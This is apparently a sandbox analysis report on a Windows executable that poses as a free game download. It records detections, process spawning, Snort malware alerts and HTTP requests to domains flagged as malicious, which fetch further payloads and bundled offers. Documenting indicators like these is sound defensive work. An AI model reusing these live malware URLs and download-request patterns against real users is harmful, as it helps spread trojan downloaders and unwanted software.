Edit tour

Windows Analysis Report
A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Overview

General Information

Sample name:	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Analysis ID:	1378307
MD5:	f674f52c3fc7bfd52872fbba26d85dab
SHA1:	d1a315d93d2963fe375ae17a51577479a28a880c
SHA256:	a6a4706b8efff748cd8fdb24d6421683baf448c9881f3ddcf621185bf70cbf59
Tags:	exeRecordBreaker
Infos:

Detection

Score:	42
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Machine Learning detection for dropped file

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Classification

Process Tree

System is w10x64

A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe (PID: 3552 cmdline: C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe MD5: F674F52C3FC7BFD52872FBBA26D85DAB)

A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp (PID: 3700 cmdline: "C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp" /SL5="$2043A,832512,832512,C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe" MD5: 56A7502C7D754C29CAB3C31B9D9292E5)

setup.exe (PID: 4972 cmdline: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe MD5: B68F9AC696CEAF91B7FCED85F7DB2096)

cleanup

Snort Signatures

ETPRO MALWARE InnoDownloadPlugin User-Agent Observed - Source IP: 192.168.2.6 - Destination IP: 172.67.219.140

Timestamp:	192.168.2.6172.67.219.14049702802839343 01/21/24-17:12:09.894074
SID:	2839343
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/TrojanDownloader Variant Activity (GET) - Source IP: 192.168.2.6 - Destination IP: 172.67.206.124

Timestamp:	192.168.2.6172.67.206.12449699802047660 01/21/24-17:11:56.761859
SID:	2047660
Source Port:	49699
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://destructionheat.site/tracker/thank_you.php?trk=2713	Avira URL Cloud: Label: malware
Source: https://digitalpulsedata.com/tos	Avira URL Cloud: Label: malware
Source: http://restfork.website/0	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dub	Avira URL Cloud: Label: phishing
Source: http://restfork.website/	Avira URL Cloud: Label: malware
Source: http://restfork.website/boa.php	Avira URL Cloud: Label: malware
Source: https://www.pcmaintainer.com/eula	Avira URL Cloud: Label: malware
Source: http://restfork.website/LP	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/N	Avira URL Cloud: Label: phishing
Source: http://antsmemory.xyz/R	Avira URL Cloud: Label: phishing
Source: http://antsmemory.xyz/	Avira URL Cloud: Label: phishing
Source: http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25sa	Avira URL Cloud: Label: malware
Source: http://restfork.website/bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ==&sub=&ps=65786d51bb7ab	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZ	Avira URL Cloud: Label: phishing
Source: http://www.pcmaintainer.com/privacy	Avira URL Cloud: Label: malware
Source: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: restfork.website	Virustotal: Detection: 9%	Perma Link
Source: https://digitalpulsedata.com/tos	Virustotal: Detection: 8%	Perma Link
Source: http://restfork.website/	Virustotal: Detection: 9%	Perma Link
Source: http://restfork.website/boa.php	Virustotal: Detection: 6%	Perma Link
Source: http://antsmemory.xyz/N	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for submitted file

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	ReversingLabs: Detection: 36%
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Virustotal: Detection: 47%			Perma Link

Machine Learning detection for dropped file

Source: C:\winrar-x64-623.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Joe Sandbox ML: detected

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Window detected: &Next >CancelWitch It Free Download v126 Online.exe Witch It Free Download v126 Online.exeLicense AgreementPlease review the license terms before installing Witch It Free Download v126 Online.exe.Press Page Down to see the rest of the agreement.Welcome this is an important message and license agreement so please read all below carefully. Witch It Free Download v126 Online.exe is financed by advertisement. By clicking Accept you will continue with the installation of Witch It Free Download v126 Online.exe and the offers listed below.Get an unparalleled gaming and browsing experience on mobile and desktop with OperaGX. Set limits on CPU RAM and Network usage use Discord & Twitch from the sidebar and connect mobile and desktop browsers with the file-sharing Flow feature. By clicking "Accept" I agree to the EULA <https://legal.opera.com/eula/computers/> Privacy Policy <https://legal.opera.com/privacy/> and consent to install.proxy service to protect your privacy. Accept the EULA <https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe> by pressing "Agree". Make your PC run like its brand new! Install Windows Manager the best utility for windows! Accept the EULA <https://advancedmanager.io/eula> and Privacy Policy <https://advancedmanager.io/privacy-policy> by pressing "Agree". Optimized search feeds. By clicking "Accept" I agree to the EULA <http://www.thedownloadplanet.com/termsofuse> and consent to install.you ready to transform your Windows operating system and experience peak performance like never before? Look no further you're about to unlock the full potential of your PC with our cutting-edge PC Maintainer application.Experience a noticeable performance boost after running our Disk Defragmentation tool ensuring your system runs at its best. The CleanMgr feature identifies and removes unnecessary files helping you regain valuable storage space. Our SFC Scan feature performs a deep analysis of all system files to ensure that even the smallest issues are detected and resolved.We're committed to keeping your PC Maintainer up to date. Enjoy free regular updates with additional features and improvements.By clicking "Accept" you have read the Privacy Policy <https://www.pcmaintainer.com/eula> and hereby agree to the EULA <http://www.pcmaintainer.com/privacy> and to the installation of PC Maintainer.proceeding with the installation you agree to the EULA <https://digitalpulsedata.com/tos> grant Digital Pulse permission to occasionally utilize the available resources of your device and IP address to retrieve public web data from the Internet. Digital Pulse highly regards your trust and prioritizes safeguarding your privacy and personal data. To ensure your safety Digital Pulse comprehends the security implications involved in sharing your IP address and diligently monitors all network traffic. Your IP address will solely be used for authorized business purposes and never for unauthorized ones. Rest assured that none

Source: unknown

HTTPS traffic detected: 172.67.219.140:443 -> 192.168.2.6:49701 version: TLS 1.2

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb- source: winrar-x64-623.exe.3.dr, nsv1A16.tmp.3.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar64\Release\sfxrar.pdb source: winrar-x64-623.exe.3.dr, nsv1A16.tmp.3.dr

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_00405E61 FindFirstFileA,FindClose,	3_2_00405E61
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_0040548B CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_0040548B
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2047660 ET MALWARE Win32/TrojanDownloader Variant Activity (GET) 192.168.2.6:49699 -> 172.67.206.124:80
Source: Traffic	Snort IDS: 2839343 ETPRO MALWARE InnoDownloadPlugin User-Agent Observed 192.168.2.6:49702 -> 172.67.219.140:80

Performs DNS queries to domains with low reputation

Source:	DNS query: antsmemory.xyz
Source:	DNS query: beadhouse.xyz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 21 Jan 2024 16:12:00 GMTContent-Type: application/force-downloadContent-Length: 3468179Connection: keep-aliveX-Powered-By: PHP/5.3.28Content-Disposition: attachment; filename="Witch It Free Download v126 Online.exe_.exe"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k786SxWq%2FpviiLcNos4PoFZun6rQtiQiFkE6vWQJVvrE2y0hEEL2n%2BJ0rqYFEgSSErMm9evALe3TaGqELckZTdFB7OSAePgJC%2Fna5pEhKRcFU%2B1hWLFkIPG4mJXRxgaIBQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d6065cf87b9f-ATLalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap

Source: Joe Sandbox View	IP Address: 104.21.23.90 104.21.23.90
Source: Joe Sandbox View	IP Address: 172.67.219.140 172.67.219.140

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /ss.php?a=3984&cc=US&t=1705853516 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /bo.php?p=3984&t=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ==&sub=&ps=65786d51bb7ab HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517 HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: antsmemory.xyz
Source: global traffic	HTTP traffic detected: GET /boa.php HTTP/1.1Connection: Keep-AliveUser-Agent: Inno Setup 6.2.2Host: restfork.website
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=1&a=2713&on=420&o=1662 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=2&a=2713&on=419&o=1661 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=3&a=2713&on=244&o=331 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=4&a=2713&on=415&o=1657 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=5&a=2713&on=424&o=1664 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api_pedl.php?spot=6&a=2713&on=416&o=1658 HTTP/1.1User-Agent: InnoDownloadPlugin/1.5Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6&t=1705853516 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: beadhouse.xyzConnection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: restfork.website

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:06 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9ivzHlUSOPE1Wyhjufi4mttW5lD7bmvG41ub1CA0RYJlTOAFTW0irYvSpBOeCBvAOmrQpf3GpGRMw3J2AGIt%2Bj2z5W7rkcmpi5grgPPXebAfMoeLo9TBjzJ2ApDLLqaZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d63e79cf78ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gQYXx6MuIS0EamVWhxxAGUpziYPQumv1OQC7ybw%2Fu%2FnIqGr6CMoFuv0MbxB5ZC%2BSBITHMCHo7vAB3AzW1L2ERRDfhCeAv6PbF6%2BNP6uxGoOfLx%2FGKF7TRBgK5nrV%2BstE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d649084978ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vl9u85HE16FuUk%2BEV7FIPRlijMiysnZSJOtiVJlluDBiaFHkXXCO6Ldh4dr7%2FTgd%2F8aOR%2BPsq3M6UWXxnHZnRL%2FzuXWTgTCaMP5D31vlGbY8Xc%2FHer2i7hTgG91e%2BzO6"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d64bdc0278ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dp0j2NTtgY1RtkSkZFLGuYuEtdfp5D6bA0G1dIQLtZ8Ar%2BXLvFenZtOww7xgkC2YuwpmALyofXb6aATkKw7PM5FP4IlCJ0ZfG83j5UJvs%2BLrxT%2BXoloR3wdqLZiw0pqK"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d64deeb778ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G70%2BJ0dOLLbE%2BA5MQ2PiPNQAa%2FBL0h8jJWa5Su%2BoYXoYck%2Btpx1zm0jwxFPPDJCrkE%2Fo%2B4H9dydtilOtQc93PmyR15d0tfOXZ0ylmd%2BzL5SZBCRIKuh3LEqqkq5fHHt1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d650093c78ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 21 Jan 2024 16:12:09 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.38CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pQJErz2dZOpg4F0IfWpZKDHuQUz3u4dfbJq1Kzah3%2BPjognXfAbv4aR28X83Yjz0duD9zCFsO6fkk3lUTi5BuPivwWFCOR9ZjL2X3PXl9jgyWmRp6fXNKyNzRxblb%2F%2B5"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8490d6522c2578ce-ATLalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/N
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/R
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3325973528.000000000092A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZ
Source: A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000002.3326529867.0000000002518000.00000004.00001000.00020000.00000000.sdmp, A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp, 00000002.00000003.2175886129.0000000000949000.00000004.00000020.00020000.00000000.sdmp, is-FJM9D.tmp.2.dr	String found in binary or memory: http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dub
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=1&a=2713&on=420&o=1662
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=2&a=2713&on=419&o=1661
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331
Source: setup.exe, 00000003.00000002.3326439117.000000000081D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=3&a=2713&on=244&o=331p_w
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657
Source: setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=16574
Source: setup.exe, 00000003.00000002.3327644402.0000000005780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=4&a=2713&on=415&o=1657up_0.exe
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=5&a=2713&on=424&o=1664Z
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658
Source: setup.exe, 00000003.00000002.3327644402.0000000005796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658R
Source: setup.exe, 00000003.00000002.3326439117.000000000087E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://beadhouse.xyz/api_pedl.php?spot=6&a=2713&on=416&o=1658d
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1657&a=2713&dn=415&spot=4&t=17
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1658&a=2713&dn=416&spot=6&t=17
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2713&dn=419&spot=2&t=17
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2713&dn=420&spot=1&t=17
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2713&dn=424&spot=5&t=17
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=331&a=2713&dn=244&spot=3&t=170
Source: setup.exe, 00000003.00000002.3326439117.00000000007C0000.00000004.00000020.00020000.00000000.sdmp, nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1657&a=2713&dn=415&spot=4&t=1
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1658&a=2713&dn=416&spot=6&t=1
Source: nsv1A16.tmp.3.dr	String found in binary or memory: http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2713&dn=419&spot=2&t=1
